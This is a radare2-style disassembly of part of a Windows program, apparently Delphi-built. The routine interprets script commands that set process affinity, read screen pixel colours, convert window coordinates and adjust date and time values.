lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x54fddd
lea eax, [ebp - 0x1c]
mov edx, 0x553bd0
call fcn.00405070
jmp 0x54fddd
lea eax, [ebp - 0x1c]
mov edx, 0x553bdc
call fcn.00405070
jmp 0x54fddd
lea eax, [ebp - 0x1c]
mov edx, 0x5539bc
call fcn.00405070
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 0x195], 0
je 0x54fe0c
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x54fe76
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x54fe73
mov bl, 1
jmp 0x54febe
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x54febe
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x54fe62
test bl, bl
je 0x550055
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xf0c]
push eax
lea eax, [ebp - 0xf10]
mov ecx, dword [ebp - 0x144]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xf10]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xf0c]
lea eax, [ebp - 0x144]
call fcn.00405070
lea eax, [ebp - 0xf14]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xf14]
push eax
call sub.KERNEL32.DLL_GetCurrentProcess
mov edx, eax
pop eax
call fcn.0040b724
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x8c], 0x2710
jbe 0x54ff94
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
push 0x638
call sub.KERNEL32.DLL_OpenProcess
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0xf18]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xf18]
xor edx, edx
call fcn.0040b724
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_SetProcessAffinityMask
test eax, eax
je 0x54fff7
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp 0x550008
call sub.KERNEL32.DLL_GetLastError
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
mov eax, dword [ebp - 0x8c]
push eax
call sub.KERNEL32.DLL_CloseHandle
cmp byte [ebp - 0x195], 0
je 0x550037
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x5500a1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x55009e
mov bl, 1
jmp 0x5500e9
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x5500e9
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x55008d
test bl, bl
je 0x55053c
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
cmp dword [ebp - 0x28], 0
jle 0x550511
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xf1c]
push eax
lea eax, [ebp - 0xf20]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xf20]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0xf1c]
lea eax, [ebp - 0x148]
mov edx, 0x553864
call fcn.004052e4
lea eax, [ebp - 0xf24]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xf24]
call fcn.0040b6e8
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0xf28]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xf28]
call fcn.0040b6e8
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0xf2c]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xf2c]
lea edx, [ebp - 0x144]
call fcn.0040b05c
lea eax, [ebp - 0xf34]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xf34]
lea edx, [ebp - 0xf30]
call fcn.0040b05c
mov edx, dword [ebp - 0xf30]
lea eax, [ebp - 0x148]
call fcn.00405070
lea edx, [ebp - 0x284]
mov eax, dword [ebp - 0x144]
call fcn.0040b73c
test al, al
jne 0x55024c
xor eax, eax
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x144]
mov edx, 0x553934
call fcn.004053e4
je 0x550270
mov eax, dword [ebp - 0x148]
mov edx, 0x553934
call fcn.004053e4
jne 0x5502d6
cmp dword [ebp - 0x284], 0
jle 0x550299
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x284]
push eax
call sub.user32.dll_ScreenToClient
xor eax, eax
mov dword [ebp - 0x210], eax
jmp 0x55033a
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x218]
push eax
mov eax, dword [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x220]
push eax
call sub.gdi32.dll_GetPixel_1
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
jmp 0x55033a
cmp dword [ebp - 0x284], 0
jle 0x5502e9
xor eax, eax
mov dword [ebp - 0x210], eax
jmp 0x55033a
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0x218]
push eax
mov eax, dword [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x220]
push eax
call sub.gdi32.dll_GetPixel_1
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
cmp dword [ebp - 0x210], 0
jne 0x5504e5
cmp dword [ebp - 0x284], 0
jle 0x550361
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x284]
mov dword [eax + 0x449c], edx
jmp 0x550373
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x449c], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x21c]
mov dword [eax + 0x44b8], edx
mov edx, dword [ebp - 0x218]
mov dword [eax + 0x44bc], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x21c]
mov dword [eax + 0x44c0], edx
mov edx, dword [ebp - 0x218]
mov dword [eax + 0x44c4], edx
mov eax, dword [ebp - 0x18]
inc dword [eax + 0x44b8]
mov eax, dword [ebp - 0x18]
inc dword [eax + 0x44bc]
xor eax, eax
push ebp
push 0x5503ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
push eax
push fcn.0052fda8
mov eax, dword [ebp - 0x18]
call fcn.00425d90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x550402
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x55041b
lea eax, [ebp - 0x1c]
mov edx, 0x55394c
call fcn.00405070
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x550469
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x550469
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x5504a5
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553950
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x5504a5
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
movzx eax, byte [eax + 2]
mov edx, dword [ebp - 0x2bc]
movzx edx, byte [edx + 1]
shl edx, 8
add eax, edx
mov edx, dword [ebp - 0x2bc]
movzx edx, byte [edx]
shl edx, 0x10
add eax, edx
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
cmp dword [ebp - 0x210], 0xffffffff
jne 0x5504fd
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp 0x55051e
mov eax, dword [ebp - 0x210]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp 0x55051e
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x550588
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x550585
mov bl, 1
jmp 0x5505d0
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x5505d0
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x550574
test bl, bl
je 0x5516a8
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xf3c]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov ecx, dword [ebp - 0xf3c]
lea eax, [ebp - 0xf38]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xf38]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x18]
call fcn.0053d7b4
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x28c], eax
xor eax, eax
mov dword [ebp - 0x290], eax
mov byte [ebp - 0xd1], 0
cmp dword [ebp - 0x10], 2
jbe 0x5506d8
lea eax, [ebp - 0xf44]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
push dword [ebp - 0xf44]
push 0x553b7c
lea eax, [ebp - 0xf48]
mov edx, dword [ebp - 0x18]
add edx, 0x1052c0
call fcn.0040523c
push dword [ebp - 0xf48]
lea eax, [ebp - 0xf40]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf40]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x55083f
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x1051c0]
mov eax, 0x553be0
call fcn.00402fd4
test eax, eax
jle 0x550725
lea eax, [ebp - 0xf4c]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
mov eax, dword [ebp - 0xf4c]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x55083f
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x1051c0]
mov eax, 0x553be4
call fcn.00402fd4
test eax, eax
jle 0x5507b1
mov byte [ebp - 0xd1], 1
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf54]
call fcn.0040e554
push dword [ebp - 0xf54]
push 0x553b7c
lea eax, [ebp - 0xf58]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
push dword [ebp - 0xf58]
lea eax, [ebp - 0xf50]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf50]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x55083f
lea eax, [ebp - 0xf5c]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
mov eax, dword [ebp - 0xf5c]
lea edx, [ebp - 0x240]
call fcn.0040b7d4
test al, al
je 0x55083f
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0
jne 0x55083f
mov byte [ebp - 0xd1], 1
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x290]
cdq
push edx
push eax
mov edx, dword [ebp - 0x240]
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
xor ebx, ebx
mov eax, dword [ebp - 0xc0]
sub eax, 0xfb
je 0x55089e
sub eax, 7
je 0x55089e
add eax, 0xfffffff9
sub eax, 7
jb 0x550a92
jmp 0x550a60
xor eax, eax
mov dword [ebp - 0x28c], eax
xor eax, eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x10], 4
jne 0x55091f
lea eax, [ebp - 0xf6c]
mov edx, dword [ebp - 0x18]
add edx, 0x1053c0
call fcn.0040523c
push dword [ebp - 0xf6c]
push 0x553b7c
lea eax, [ebp - 0xf70]
mov edx, dword [ebp - 0x18]
add edx, 0x1054c0
call fcn.0040523c
push dword [ebp - 0xf70]
lea eax, [ebp - 0xf68]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf68]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x550a24
lea eax, [ebp - 0x158]
mov edx, dword [ebp - 0x10]
shl edx, 5
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + edx*8 + 0x1050c0]
call fcn.0040523c
mov edx, dword [ebp - 0x158]
mov eax, 0x55398c
call fcn.004055dc
test eax, eax
jle 0x550970
mov eax, dword [ebp - 0x158]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x550a24
mov edx, dword [ebp - 0x158]
mov eax, 0x553840
call fcn.004055dc
test eax, eax
jle 0x5509dd
mov bl, 1
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf78]
call fcn.0040e554
push dword [ebp - 0xf78]
push 0x553b7c
push dword [ebp - 0x158]
lea eax, [ebp - 0xf74]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf74]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x550a24
lea edx, [ebp - 0x248]
mov eax, dword [ebp - 0x158]
call fcn.0040b7d4
test al, al
je 0x550a24
mov eax, dword [ebp - 0x248]
and eax, 0xffffffff
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x244]
xor edx, edx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x248]
and eax, 0xffffffff
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x290]
cdq
push edx
push eax
mov edx, dword [ebp - 0x248]
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
jmp 0x550a92
lea eax, [ebp - 0xf7c]
mov edx, dword [ebp - 0x10]
shl edx, 5
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + edx*8 + 0x1050c0]
call fcn.0040523c
mov eax, dword [ebp - 0xf7c]
lea edx, [ebp - 0x70]
call fcn.0040b73c
test al, al
jne 0x550a92
xor eax, eax
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc0]
add eax, 0xffffff05
cmp eax, 0x14
ja case.default.0x550aa6
jmp dword [eax*4 + 0x550aad]
mov eax, dword [ebp - 0x248]
and eax, 0xffffffff
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x244]
xor edx, edx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x248]
and eax, 0xffffffff
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x9a4]
push eax
lea eax, [ebp - 0x9a2]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x99e]
push eax
lea ecx, [ebp - 0x9a6]
lea edx, [ebp - 0x9a8]
lea eax, [ebp - 0x9aa]
call fcn.0052e2e0
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0xc0], 0x102
jne 0x550ce8
lea eax, [ebp - 0x290]
call fcn.0040d374
fstp qword [ebp - 0x298]
wait
movzx eax, word [ebp - 0x9a4]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
cdq
push edx
push eax
call fcn.0052e25c
fstp qword [ebp - 0x298]
wait
movzx eax, word [ebp - 0x9a2]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
cdq
push edx
push eax
call fcn.0052e288
fstp qword [ebp - 0x298]
wait
movzx eax, word [ebp - 0x9a0]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
cdq
push edx
push eax
call fcn.0052e2b4
fstp qword [ebp - 0x298]
wait
cmp byte [ebp - 0xd1], 0
jne 0x550ccc
test bl, bl
jne 0x550ccc
movzx eax, word [ebp - 0x9aa]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
call fcn.0052e21c
fstp qword [ebp - 0x298]
wait
movzx eax, word [ebp - 0x9a8]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
call fcn.0040d834
fstp qword [ebp - 0x298]
wait
movzx eax, word [ebp - 0x9a6]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov eax, dword [ebp - 0x74]
neg eax
call fcn.0052e240
fstp qword [ebp - 0x298]
wait
push dword [ebp - 0x294]
push dword [ebp - 0x298]
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x550e2c
cmp byte [ebp - 0xd1], 0
jne 0x550db2
test bl, bl
jne 0x550db2
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9aa]
call fcn.0052e21c
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a8]
call fcn.0040d834
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a6]
call fcn.0052e240
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a4]
xor edx, edx
push edx
push eax
call fcn.0052e25c
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a2]
xor edx, edx
push edx
push eax
call fcn.0052e288
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a0]
xor edx, edx
push edx
push eax
call fcn.0052e2b4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp 0x550e2c
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a4]
xor edx, edx
push edx
push eax
call fcn.0052e25c
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a2]
xor edx, edx
push edx
push eax
call fcn.0052e288
add esp, 0xfffffff8
fstp qword [esp]
wait
movzx eax, word [ebp - 0x9a0]
xor edx, edx
push edx
push eax
call fcn.0052e2b4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
cmp byte [ebp - 0xd1], 0
je 0x550e60
mov eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
mov eax, dword [ebp - 0x290]
cdq
push edx
push eax
mov edx, dword [ebp - 0x240]
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
call fcn.0052e21c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
call fcn.0040d834
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
call fcn.0052e240
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
cdq
push edx
push eax
call fcn.0052e25c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
cdq
push edx
push eax
call fcn.0052e288
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
cdq
push edx
push eax
call fcn.0052e2b4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
